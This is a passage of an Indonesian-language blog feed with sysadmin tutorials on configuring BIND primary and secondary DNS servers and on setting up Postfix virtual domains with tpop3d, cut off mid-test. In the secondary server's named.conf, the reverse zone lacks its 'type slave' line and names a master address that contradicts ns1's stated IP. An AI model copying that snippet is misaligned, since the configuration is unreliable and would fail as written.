/&gt;3.24.126.10.in-addr.arpa domain name pointer www.kurowo.edu. &lt;br /&gt;[root@wedus named]# host 10.126.24.4&lt;br /&gt;4.24.126.10.in-addr.arpa domain name pointer dursosono.kurowo.edu. &lt;br /&gt;[root@wedus named]# host 10.126.24.5&lt;br /&gt;5.24.126.10.in-addr.arpa domain name pointer duryudono.kurowo.edu. &lt;br /&gt;[root@wedus named]# host 10.126.24.6&lt;br /&gt;6.24.126.10.in-addr.arpa domain name pointer gateway.kurowo.edu.&lt;br /&gt;&lt;br /&gt;Atau menggunakan perintah dig :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# dig -x 10.126.24.4&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.2.2rc1 &lt;&lt;&gt;&gt; -x 10.126.24.4&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 30843&lt;br /&gt;;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;4.24.126.10.in-addr.arpa.     IN      PTR&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;4.24.126.10.in-addr.arpa. 86400 IN     PTR     dursosono.kurowo.edu.&lt;br /&gt;&lt;br /&gt;;; AUTHORITY SECTION:&lt;br /&gt;24.126.10.in-addr.arpa. 86400   IN      NS      ns1.kurowo.edu.&lt;br /&gt;24.126.10.in-addr.arpa. 86400   IN      NS      ns2.kurowo.edu.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;ns1.kurowo.edu.      86400   IN      A       10.126.24.1&lt;br /&gt;ns2.kurowo.edu.      86400   IN      A       10.126.24.2&lt;br /&gt;&lt;br /&gt;;; Query time: 1 msec&lt;br /&gt;;; SERVER: 127.0.0.1#53(127.0.0.1)&lt;br /&gt;;; WHEN: Sat Feb 15 14:53:44 2003&lt;br /&gt;;; MSG SIZE  rcvd: 142&lt;br /&gt;&lt;br /&gt;Atau anda juga bisa memeriksa dengan menggunakan name serverISP anda :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus named]# host 10.126.24.4 ns1.myloveleyisp.net.id&lt;br /&gt;Using domain server:&lt;br /&gt;Name: ns1.myloveleyisp.net.id&lt;br /&gt;Address: 10.11.12.1#53&lt;br /&gt;Aliases:&lt;br /&gt;&lt;br /&gt;4.24.126.10.in-addr.arpa. domain name pointer dursosono.kurowo.edu&lt;br /&gt;Membuat secondary name server&lt;br /&gt;&lt;br /&gt;Setelah anda selesai membuat primary name server (ns1), langkah selanjutnya adalah membuat secondary name server (ns2). Tujuannya adalah untuk menerima query dns jika pada primary name server (ns1)sebagai server dns yang utama mengalami gangguan teknis ataupun terlalu sibuk. Oleh karena idealnya secondary name server (ns2) biasanya diletakkan pada network yang berbeda dengan primary name server (ns1),tentunya secondary name server (ns2) ini membutuhkan komputer/mesin yang lain (terpisah dari primary-nya/ns2) . Langkah instalasi secondary name server adalah sama ketika anda mengkonfigurasi primary name server. Namun, file yang yang digunakan hanyalah db.127.0.0, db.localhost,dan named.root. &lt;br /&gt;&lt;br /&gt;Untuk memastikan hanya host dengan IP 10.126.24.2/32 (ns2) yang bisa mentransfer zone dari ns1, maka pastikan pada file named.confdi ns1 pada bagian options terdapat :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;allow-transfer { 10.126.24.2/32; };&lt;br /&gt;&lt;br /&gt;Kemudian anda bisa login (ssh) ke ns2, dan kemudian buat file named.conf yang isinya adalah sebagai berikut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;options {&lt;br /&gt;        directory "/var/named";&lt;br /&gt;        pid-file "/var/named/named.pid"; };&lt;br /&gt;&lt;br /&gt;logging {&lt;br /&gt;        category lame-servers { null; };&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;zone "." IN {&lt;br /&gt;        type hint;&lt;br /&gt;        file "named.root";&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;zone "localhost" IN {&lt;br /&gt;        type master;&lt;br /&gt;        file "db.localhost";&lt;br /&gt;        allow-update { none; };&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;zone "0.0.127.in-addr.arpa" IN {&lt;br /&gt;        type master;&lt;br /&gt;        file "db.127.0.0";&lt;br /&gt;        allow-update { none; };&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;zone "kurowo.edu" {&lt;br /&gt;        type slave;&lt;br /&gt;        file "dbs.kurowo.edu";&lt;br /&gt;        masters { 10.126.24.1; };&lt;br /&gt;}; &lt;br /&gt;&lt;br /&gt;zone "24.126.10.in-addr.arpa" {&lt;br /&gt;        file "dbs.10.126.24";&lt;br /&gt;        masters { 202.145.6.99; };&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;Kemdian restart daemon DNS di ns2 dengan perinta rndc (killall -HUP named) , jika sukses maka zone kurowo.edu dan zone 24.126.10.in-addr.arpa segera ditransfer dari ns1, dan pada file /var/log/messages terdapat pesan sebagai berikut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Feb 15 14:31:47 kadal named[630]: transfer of 'kurowo.edu' from 10.126.24.1#53: end of transfer &lt;br /&gt;Feb 15 14:31:47 kadal named[630]: transfer of '24.126.10.in-addr.arpa' from 10.126.24.1#53: end of transfer&lt;br /&gt;&lt;br /&gt;Jika anda perhatikan juga file /var/log/messages pada ns1 maka akan menghasilkan pesan berikut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Feb 15 14:42:43 wedus named[25232]: client 10.126.24.2#3918: transfer of 'kurowo.edu/IN': AXFR started&lt;br /&gt;Feb 15 14:42:43 wedus named[25232]: client 10.126.24.2#1527: transfer of '24.126.10.in-addr.arpa/IN': AXFR started&lt;br /&gt;&lt;br /&gt;Jika sukses, berarti primary name server (ns1) dan secondary name server (ns2) sudah beroperasi dengan benar. Ketika anda ingin menambahkan domain baru lagi yang lain, misalnya ayodyo.co.id, anda tinggal mengulangi langkah-langkah dalam seksi "Menambah sebuah domain" . Ketika domain yang anda kelola telah mencapai jumlah ribuan nama domain misalnya, dan anda ingin memisahkan data tersebut dari file konfigurasi named.conf, anda bisa menggunakan include di named.conf , misalnya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;include "/usr/local/named/etc/my.big.hosts.conf"; &lt;br /&gt;Mendelegasikan subdomain ke name server yang lain&lt;br /&gt;&lt;br /&gt;Misalkan anda mempunyai domain kurowo.edu dan ada suatu bagian/departemen yang menginginkan pengelolaan database sendiri terhadap suatu subdomain, maka anda bisa mendelegasikan subdomain tersebut. Diumpamakan subdomain cs.kurowo.edu akan dikelola oleh Departemen Computer Science denganname server yaitu citraksa.cs.kurowo.edu (10.126.25.1) dan citraksi.cs.kurowo.edu (10.126.25.2) maka pada file named.conf di database zone kurowo.edu anda tambahkan :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;; cs.kurowo.edu dikelola oleh name server ini&lt;br /&gt;cs              IN      NS      citraksa.cs.kurowo.edu.&lt;br /&gt;                IN      NS      citraksi.cs.kurowo.edu.&lt;br /&gt;citraksa.cs     IN      A       10.126.25.1&lt;br /&gt;citraksi.cs     IN      A       10.126.25.2 &lt;br /&gt;&lt;br /&gt;Restart daemon named, dan selanjutnya subdomain tersebut telah didelegasikan. &lt;br /&gt;3. Istilah &lt;br /&gt;&lt;br /&gt;Beberapa istilah/singkatan yang digunakan dalam database pada sebuah zone :&lt;br /&gt;&lt;br /&gt;TTL : Time To Live&lt;br /&gt;SOA : Start of Authority&lt;br /&gt;NS : Name Server&lt;br /&gt;MX : Mail Exchanger&lt;br /&gt;TXT : Text&lt;br /&gt;A : Adrress (name-to-address mapping)&lt;br /&gt;PTR : Pointer (address-to-name mapping)&lt;br /&gt;CNAME : Canonical name&lt;br /&gt;4. Change Log&lt;br /&gt;&lt;br /&gt;16 Februari 2003&lt;br /&gt;&lt;br /&gt;Penulisan dokumen ini dimulai&lt;br /&gt;&lt;br /&gt;18 Februari 2003&lt;br /&gt;&lt;br /&gt;Pembuatan dokumen versi PDF dan penambahan seksi istilah&lt;br /&gt;&lt;br /&gt;19 Februari 2003&lt;br /&gt;&lt;br /&gt;Penambahan seksi salinan dan beberapa keterangan tentang pembaharuan serial number&lt;br /&gt;5. Salinan&lt;br /&gt;&lt;br /&gt;Salinan ijin dari Penerbit O'Reilly (Sejarah Internet, Sejarah DNS, Konsep dan hirarki DNS) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;From: Cindy Wetterlund &lt;cindyw@xxxxxxx.com&gt;&lt;br /&gt;Subject: Re: Ask about permission  &lt;br /&gt;To: Asfihani &lt;asfik@its-sby.edu&gt;(by way of Mary Hubben &lt;maryh@xxxxxxx.com&gt;) &lt;br /&gt;Cc: permissions@xxxxxxx.com, maryh@xxxxxxx.com &lt;br /&gt;Date: Tue, 18 Feb 2003 13:51:35 -0800 &lt;br /&gt;X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 &lt;br /&gt;X-Spam-Status: No, hits=-5.0 required=5.0 tests=IN_REP_TO version=2.20 &lt;br /&gt;X-Spam-Level:  Message-Id: &lt;4.3.2.7.2.20030218134230.023b05f8@xxxx.xxxx.xxxx.com&gt;&lt;br /&gt;&lt;br /&gt;Hello Asfihani,&lt;br /&gt;Thank you for your mail and inquiry.&lt;br /&gt;&lt;br /&gt;O'Reilly gives you permission to use the below mentioned material &lt;br /&gt;from "DNS and BIND" 3rd edition for educational purposes only.  &lt;br /&gt;Since there is a new edition available, it will be appreciated if you add to &lt;br /&gt;the reference information a link to the source http://www.oreilly.com/catalog/dns4/&lt;br /&gt;so readers know where to find the most current information.&lt;br /&gt;&lt;br /&gt;I hope this is helpful.&lt;br /&gt;Best,&lt;br /&gt;Cindy&lt;br /&gt;&lt;br /&gt;Salinan ijin dari Internet Software Consortium (Sejarah BIND) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;From: Paul Vixie &lt;paul@xxxxxxxx.com&gt; &lt;br /&gt;Subject: Re: Ask about permission  &lt;br /&gt;To: Asfihani &lt;asfik@its-sby.edu&gt; &lt;br /&gt;Cc: info@xxxxxxx.org Date: Mon, 17 Feb 2003 15:59:20 +0000 &lt;br /&gt;X-Mailer: MH-E 7.2; nmh 1.0.4; GNU Emacs 21.2.1 &lt;br /&gt;X-Spam-Status: No, hits=-5.0 required=5.0 tests=IN_REP_TO version=2.20 &lt;br /&gt;X-Spam-Level:  Message-Id: &lt;20030217155920.A6FFA379EF3@as.xxxxx.com&gt;&lt;br /&gt;&lt;br /&gt;no problem.  please give us attribution when you quote our material. &lt;br /&gt;but, you may quote as much of it as you wish. &lt;br /&gt;6. Referensi&lt;br /&gt;&lt;br /&gt;DNS and BIND 3rd Edition ditulis oleh Paul Albitz dan Cricket Liu, penerbit O'Reilly tahun 1998, anda bisa mendapatkan edisi yang paling baru (edisi ke 4) di http://www.oreilly.com/catalog/dns4&lt;br /&gt;http://www.isc.org/products/BIND/bind-history.html&lt;br /&gt;http://www.tldp.org/HOWTO/DNS-HOWTO.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111019959776149225?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111019959776149225/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111019959776149225' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111019959776149225'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111019959776149225'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/konsep-dns-dan-tutorial-instalasi-bind.html' title='Konsep DNS dan tutorial instalasi BIND'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111019918961037977</id><published>2005-03-07T04:38:00.000-08:00</published><updated>2005-03-07T04:39:49.626-08:00</updated><title type='text'>Virtual domain di postfix dengan tpop3d, courier-imap dan squirrelmail</title><content type='html'>Mengkonfigurasi virtual domain (dengan format Maildir) pada postfix memang tidak semudah mengkonfigurasi virtual domain pada qmail+vpopmail ataupun qmail+vmailmgr. Saya yakin, dokumentasi ini sangat minim, sehingga tool untuk mengadministrasi user melalui web pun tidak dibahas (karena saya belum tahu tool tersebut hehe). Anda mungkin bertanya mengapa tidak menggunakan mysql atau semacamnya sebagai backend dari virtual domainnya, dan jawabannya cuman satu : karena saya tidak ingin menggunakannya. Seperti biasa, tidak ada copyright apapun dalam dukumen ini, anda bebas menyalin, mencetak, maupun memodifikasi (dengan menyertakan nama penulis asli). Jika ada pertanyaan silakan join #indolinux di EFnet IRC Network, disana banyak rekan-rekan yang akan membantu anda. Oh iya tidak lupa saya ucapkan terima kasih kepada pak PY Adi Prasaja yang selalu jadi acuan jika ada error :). Saran, koreksi, kritik, kesalahan ketik, maupun ucapan silakan dikirimkan ke email tersebut diatas. Terima Kasih. CATATAN: Tutorial ini tidak cocok bagi yang baru mendalami Postfix dan hanya sesuai dengan Postfix versi 2.0.6 :-) &lt;br /&gt;&lt;br /&gt;Jika Anda merasa apa yang saya tulis berikut ini berguna dan ingin membuat saya gembira, Anda bisa mengirimkan satu (atau lebih) CD dari daftar wishlist saya. Tentu saja, usaha Anda akan sangat saya hargai :-). &lt;br /&gt;&lt;br /&gt;Untuk ahli matematika dan algoritma : Abu Ja'far Muhammad ibnu Musa Al-Khwarizmi (Baghdad 780 - ? 850) dan komposer musik klasik sejati : Wolfgang Amadeus Mozart (Salzburg 1756 - Vienna 1791) &lt;br /&gt;1. Instal Postfix&lt;br /&gt;&lt;br /&gt;Sebelum memulai, silakan anda uninstall software mailserver (MTA) lain yang berada dalam server anda misalnya untuk Redhat biasanya terdapat sendmail dan postfix standar, dan silakan anda membuat sebuah direktori temporari untuk memudahkan penyimpanan source yang akan didownload. Anda boleh membuat direktori dengan nama sembarang, seperti biasa disini saya membuat direktori dengan nama src :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang asfik]# service sendmail stop&lt;br /&gt;[root@wolfgang asfik]# for a in $(rpm -qa | grep sendmail); do rpm -e --nodeps $a; done&lt;br /&gt;[root@wolfgang asfik]# for a in $(rpm -qa | grep postfix); do rpm -e --nodeps $a; done&lt;br /&gt;[root@wolfgang asfik]# mkdir src&lt;br /&gt;[root@wolfgang asfik]# cd src&lt;br /&gt;&lt;br /&gt;Buat username dan group yang akan mengurusi postfix :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# adduser -M -d /no/home -s /no/shell postfix &lt;br /&gt;[root@wolfgang src]# groupadd postdrop&lt;br /&gt;&lt;br /&gt;Download source postfix (yang paling baru), anda bisa mendapatkannya dari mirror terdekat di Indonesia yaitu ISP CBN (untuk mirror yang lain silakan anda berkunjung ke http://www.postfix.org), serta download patch (yang paling baru dan sesuai dengan postfi-nya) untuk digunakan pada virtual delivery agent :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# wget ftp://ftp.cbn.net.id/mirror/postfix-release/official/postfix-2.0.6.tar.gz &lt;br /&gt;[root@wolfgang src]# wget http://ftp.oav.net/others/postfix/VDA/postfix-2.0.6.patch.gz &lt;br /&gt;&lt;br /&gt;Ekstrak :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# gunzip postfix-2.0.6.patch.gz &lt;br /&gt;[root@wolfgang src]# tar -xzvf postfix-2.0.6.tar.gz&lt;br /&gt;&lt;br /&gt;Ganti ke direktori source postfix, patch kemudian install. Pada waktu melaksanakan make install nantinya anda akan ditanya-tanya, tekan enter saja :) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# cd postfix-2.0.6 &lt;br /&gt;[root@wolfgang postfix-2.0.6]# patch -p1 &lt; ../postfix-2.0.6.patch &lt;br /&gt;[root@wolfgang postfix-2.0.6]# make &lt;br /&gt;[root@wolfgang postfix-2.0.6]# make install&lt;br /&gt;&lt;br /&gt;Edit file /etc/postfix/main.cf pada bagian :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;myhostname = wolfgang.cs.perbanas.edu&lt;br /&gt;mydestination = $myhostname, localhost.$mydomain &lt;br /&gt;mynetworks = 127.0.0.0/8 &lt;br /&gt;alias_maps = hash:/etc/aliases &lt;br /&gt;alias_database = hash:/etc/aliases &lt;br /&gt;home_mailbox = Maildir/ &lt;br /&gt;&lt;br /&gt;Silakan anda ganti myhostname dengan hostname yang FQDN, biasanya adalah host dimana postfix tersebut dijalankan. Pada mydestination silakan anda tambahkan domain yang dianggap sebagai domain lokal bukan domain virtual. Jika anda merencanakan postfix agar bisa digunakan sebagai smtp dari network anda (misalnya network 10.126.10.0/24) maka anda tambahkan pada mynetworks = 10.126.10.0/24 . Dan jika anda ingin menggunakan RBL untuk melawan email spam maka tambahkan :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;maps_rbl_domains = relays.ordb.org &lt;br /&gt;smtpd_helo_restrictions = reject_maps_rbl, permit_mynetworks&lt;br /&gt;&lt;br /&gt;Untuk menolak pengirim dari domain yang tidak mempunya record A atau MX :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;smtpd_sender_restrictions = reject_unknown_sender_domain&lt;br /&gt;&lt;br /&gt;Kemudian bikin email alias yang akan mengurusi hal-hal yang berkaitan dengan urusan teknis (ganti email asfik@cs.perbanas.edu sesuai dengan konfigurasi yang anda inginkan) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# echo "postfix: root" &gt; /etc/aliases &lt;br /&gt;[root@wolfgang src]# echo "root : asfik@cs.perbanas.edu" &gt;&gt; /etc/aliases &lt;br /&gt;[root@wolfgang src]# echo "mailer-daemon : asfik@cs.perbanas.edu" &gt;&gt; /etc/aliases&lt;br /&gt;[root@wolfgang src]# echo "postmaster : asfik@cs.perbanas.edu" &gt;&gt; /etc/aliases&lt;br /&gt;&lt;br /&gt;Bikin database dari file aliases :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# newaliases &lt;br /&gt;&lt;br /&gt;Start daemon postfix :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# postfix start&lt;br /&gt;&lt;br /&gt;Jika anda perhatikan file log (tail -f /var/log/maillog)akan anda dapatkan :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Mar 26 15:21:49 wolfgang postfix/postfix-script: starting the Postfix mail system &lt;br /&gt;Mar 26 15:21:49 wolfgang postfix/master[4043]: daemon started -- version 2.0.6&lt;br /&gt;&lt;br /&gt;Untuk menjalankan daemon postfix secara otomatis setiap kali server direstart :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# echo "/usr/sbin/postfix start" &gt;&gt; /etc/rc.local&lt;br /&gt;&lt;br /&gt;Kemudian anda bisa mencoba mengetest mengirimkan suatu email ke domain lokal yang sesuai dengan definisi pada mydestination. Jika suskses, maka akan masuk ke dalam direktori Maildir/ di home direktori user yang anda kirimin email. Langkah selanjutnya adalah mengkonfigurasi user sistem yang akan bertugas mengurusi semua virtual domain di postfix, disini kita misalkan user tersebut adalah virtual : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# adduser virtual &lt;br /&gt;&lt;br /&gt;Cek UID dan GID dari informasi user tersebut karena akan kita gunakan untuk pada konfigurasi postfix :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# id virtual &lt;br /&gt;uid=521(virtual) gid=522(virtual) groups=522(virtual) &lt;br /&gt;&lt;br /&gt;Edit kembali file /etc/postfix/main.cf, tambahkan beberapa baris berikut ini (ganti angka 521/522 dengan UID/GID dari user yang akan kita jadikan sebagai basecamp domain-domain virtual, misalnya user virtual) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mailbox_transport = virtual &lt;br /&gt;virtual_mailbox_base = /home/virtual &lt;br /&gt;virtual_mailbox_maps = hash:/etc/postfix/virtual &lt;br /&gt;virtual_uid_maps = static:521 &lt;br /&gt;virtual_gid_maps = static:522 &lt;br /&gt;virtual_create_maildirsize = yes &lt;br /&gt;&lt;br /&gt;Pada virtual_mailbox_base tersebut nantinya email semua virtual domain akan disimpan pada direktori tersebut. Oleh karena itu pada waktu adduser user virtual tersebut anda bisa menentukan dimana kira-kira sisa harddisk anda yang paling banyak, tentunya anda bisa menggunakan argument -d pada waktu adduser untuk mengarahkannya. Sebagai contoh misalnya kita akan membuat sebuah virtual domain yang bernama cs.perbanas.edu, maka nantinya semua email pada domain tersebut akan disimpan pada direktori /home/virtual/cs.perbanas.edu . &lt;br /&gt;&lt;br /&gt;Langkah selanjutnya adalah edit file /etc/postfix/virtual, pada bagian paling bawah tambahkan :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;cs.perbanas.edu         Computer Science Department STIMIK Perbanas&lt;br /&gt;&lt;br /&gt;Kemudian juga kita bikin sebuah account test misalnya asfik@cs.perbanas.edu, maka anda tambahkan juga pada file yang sama (tanda / pada akhir baris menujukkan penggunaan format Maildir sebagai penyimpanan email) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;asfik@cs.perbanas.edu   cs.perbanas.edu/asfik/ &lt;br /&gt;&lt;br /&gt;Jangan lupa email postmaster@cs.perbanas.edu juga akan diforward ke asfik@cs.perbanas.edu, maka kita tambahkan :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;postmaster@cs.perbanas.edu      cs.perbanas.edu/asfik/&lt;br /&gt;&lt;br /&gt;Bikin database dari file tersebut :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# postmap /etc/postfix/virtual&lt;br /&gt;&lt;br /&gt;Test untuk mengirim ke email tersebut (jangan khawatir, karena postfix akan membuatkan direktori new,cur,tmp secara otomatis), maka jika sukses konfigurasi anda, pada file /var/log/maillog bisa anda dapatkan :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Mar 29 14:14:56 wolfgang postfix/virtual[9689]: E81EABB3A: to=&lt;asfik@cs.perbanas.edu&gt;,&lt;br /&gt;relay=virtual, delay=0, status=sent (maildir)&lt;br /&gt;&lt;br /&gt;Untuk memastikan anda bisa memeriksa file email tersebut pada direktori /home/virtual/cs.perbanas.edu/asfik/new :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# ls /home/virtual/cs.perbanas.edu/asfik/new/&lt;br /&gt;1049073505.V307I14f59f.wolfgang.cs.perbanas.edu&lt;br /&gt;&lt;br /&gt;Jika anda ingin membatasi quota setiap user virtual, edit file /etc/postfix/main.cf, kemudian tambahkan baris berikut ini :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;virtual_mailbox_limit_maps = hash:/etc/postfix/vquota &lt;br /&gt;virtual_mailbox_limit_override = yes&lt;br /&gt;&lt;br /&gt;Reload daemon postfix :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# postfix reload &lt;br /&gt;&lt;br /&gt;Kemudian buat file /etc/postfix/vquota, misalnya untuk user virtual asfik@cs.perbanas.edu akan kita quota sebesar 1 Mb, maka pada file tersebut tambahkan sebagai berikut : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;asfik@cs.perbanas.edu   1024000&lt;br /&gt;&lt;br /&gt;Generate database dari file tersebut supaya dibaca oleh postfix :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# postmap /etc/postfix/vquota &lt;br /&gt;&lt;br /&gt;Bila anda melakukan penambahan virtual domain yang lain (lagi), anda tinggal mengedit file /etc/postfix/virtual, misalnya sebagai contoh untuk menambahkan domain alkhwarizmi.net dengan user asfik@alkhwarizmi.net:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;alkhwarizmi.net                Al-Khwarizmi Foundation &lt;br /&gt;asfik@alkhwarizmi.net          alkhwarizmi.net/asfik/ &lt;br /&gt;&lt;br /&gt;Jika sukses semua email untuk user di domain alkhwarizmi.netnanti akan disimpan pada direktori /home/virtual/alkhwarizmi.net dan seperti biasa, jangan lupa untuk melakukan postmap ke pada file /etc/postfix/main.cf agar database yang baru dibaca oleh postfix.&lt;br /&gt;2. Install tpop3d&lt;br /&gt;&lt;br /&gt;Sebagai POP3 servernya kita gunakan tpop3d yang mendukung format Maildir dengan menggunakan metode autentikasi file text biasa (flat-text/flat file), donwload tpop3d (yang paling baru) dan patch untuk auth-flatfile:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# wget http://www.ex-parrot.com/~chris/tpop3d/tpop3d-1.4.2.tar.gz &lt;br /&gt;[root@wolfgang src]# wget http://www.ex-parrot.com/~chris/tpop3d/tpop3d-1.4.2-auth-flatfile-broken.patch &lt;br /&gt;&lt;br /&gt;Ekstrak, kemudian ganti direktori ke source tpop3d :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# tar -xzvf tpop3d-1.4.2.tar.gz &lt;br /&gt;[root@wolfgang src]# cd tpop3d-1.4.2 &lt;br /&gt;&lt;br /&gt;Patch, kemudian compile,dan install :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang tpop3d-1.4.2]# patch -p0 &lt; ../tpop3d-1.4.2-auth-flatfile-broken.patch&lt;br /&gt;[root@wolfgang tpop3d-1.4.2]# ./configure --enable-auth-flatfile --enable-mbox-maildir&lt;br /&gt;[root@wolfgang tpop3d-1.4.2]# make &lt;br /&gt;[root@wolfgang tpop3d-1.4.2]# make install &lt;br /&gt;&lt;br /&gt;Buat file /etc/tpop3d.conf isinya :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;listen-address: 0.0.0.0 &lt;br /&gt;log-facility: local6 &lt;br /&gt;mailbox: maildir:/home/virtual/$(domain)/$(local_part)/ &lt;br /&gt;auth-flatfile-enable: yes &lt;br /&gt;auth-flatfile-passwd-file: /etc/virtual/$(domain)/passwd &lt;br /&gt;auth-flatfile-mail-user: virtual &lt;br /&gt;auth-flatfile-mail-group: virtual &lt;br /&gt;&lt;br /&gt;Jika user yang menghandel domain virtual adalah bukan user virtual, maka silakan anda sesuaikan pada auth-flatfile-mail-user dan auth-flatfile-mail-group . Kemudian karena kita tidak ingin membanjiri file /var/log/maillogdengan pesan dari daemon tpop3d maka kita putuskan untuk menyimpan log tersebut pada file yang lain, misalnya /var/log/tpop3d.log, maka pada file /etc/syslog.conf tambahkan :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;local6.*                                                /var/log/tpop3d.log&lt;br /&gt;&lt;br /&gt;Bikin file /var/log/tpop3d.log :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# touch /var/log/tpop3d.log &lt;br /&gt;&lt;br /&gt;Restart syslogd anda (killall -HUP syslogd atau service syslog restart), kemudian jalankan daemon tpop3d :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# /usr/local/sbin/tpop3d&lt;br /&gt;&lt;br /&gt;Untuk menjalankan daemon tersebut secara otomatis setiap kali server direstart :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# echo "/usr/local/sbin/tpop3d" &gt;&gt; /etc/rc.local&lt;br /&gt;&lt;br /&gt;Buat direktori untuk menyimpan database password untuk user virtual, nantinya setiap password dari virtual domain akan disimpan dengan format berikut /etc/virtual/DOMAIN/passwd misanyalnya untuk domain cs.perbanas.edu akan disimpan dalam file /etc/virtual/cs.perbanas.edu/passwd:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# mkdir /etc/virtual&lt;br /&gt;&lt;br /&gt;Sebenarnya anda bisa membuat sendiri data password tersebut dengan menggunakan utilitas htpasswd yang bisa anda dapatkan dari paket software apache. Format password yang digunakan adalah sama dengan format password pada file /etc/passwd . Namun, saya juga membuat shell script yang sangat sederhana dan juga menggunakan (membutuhkan binari) dari htpasswd tersebut, anda bisa mendapatkannya di http://people.cakraweb.com/~asfik/vtadduser dan http://people.cakraweb.com/~asfik/vtdeluser (tentu anda harus mencocokkan variabel-variabel yang dibutuhkan jika berbeda dengan contoh disini) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# wget http://people.cakraweb.com/~asfik/vtadduser&lt;br /&gt;[root@wolfgang src]# wget http://people.cakraweb.com/~asfik/vtdeluser&lt;br /&gt;[root@wolfgang src]# mv {vtadduser,vtdeluser} /usr/bin &lt;br /&gt;[root@wolfgang src]# chmod 755 /usr/bin/{vtadduser,vtdeluser}&lt;br /&gt;&lt;br /&gt;Misalkan untuk membuat password user asfik@cs.perbanas.edu dengan password rahasiadeh :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# vtadduser asfik@cs.perbanas.edu rahasiadeh &lt;br /&gt;&lt;br /&gt;Test dengan telnet ke localhost port 110 (tentunya anda juga bisa mencobanya dengan Eudora atau MUA kesayangan anda yang lain) :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wolfgang src]# telnet localhost 110 &lt;br /&gt;Trying 127.0.0.1... &lt;br /&gt;Connected to localhost. &lt;br /&gt;Escape character is '^]'. &lt;br 